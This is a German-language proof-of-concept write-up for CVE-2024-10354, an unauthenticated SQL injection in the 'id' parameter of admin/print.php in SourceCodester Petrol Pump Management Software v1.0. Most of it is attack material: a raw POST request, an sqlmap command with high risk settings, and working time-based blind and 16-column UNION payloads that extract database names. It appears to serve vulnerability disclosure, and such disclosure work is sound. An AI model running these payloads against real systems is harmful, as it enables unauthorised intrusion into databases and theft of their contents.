
Proof-of-Concept-Exploit für CVE-2024-10354: SQL-Injection in SourceCodester Petrol Pump Management Software v1.0. Demonstriert nicht authentifizierte zeitbasierte Blind- und UNION-Query-Injection über admin/print.php, um Datenbankinhalte zu extrahieren.
Tankstellenverwaltungssoftware kostenloser Download | SourceCodester
SQL-Injection-Schwachstelle in der sourcecodester Petrol Pump Management Software v1.0. Es wurde eine als hohes Risiko eingestufte Schwachstelle gefunden, die eine unbekannte Funktionalität der Datei admin\print.php betrifft. Über den Parameter id werden schädliche SQL-Anweisungen konstruiert, um an vertrauliche Informationen zu gelangen und so Schaden zu verursachen.
admin\print.php

Hier wird die Benutzereingabe $_POST['id'] direkt in die SQL-Abfrage eingefügt, was offensichtlich anfällig für SQL-Injection-Angriffe ist.

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Speichern Sie das Paket und führen Sie den Angriff mit sqlmap aus.
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Beim Betrachten des Pakets stellt man fest, dass ich keinen Cookie-Wert hinzugefügt habe. Das zeigt, dass keine Authentifizierung vorhanden ist und man sich nicht anmelden muss, um remote Angriffe durchzuführen.
Man kann sehen, dass dieses Payload zwei Injektionsmethoden nutzt, nämlich time-based blind und UNION-Query, und erfolgreich den Datenbanknamen extrahiert.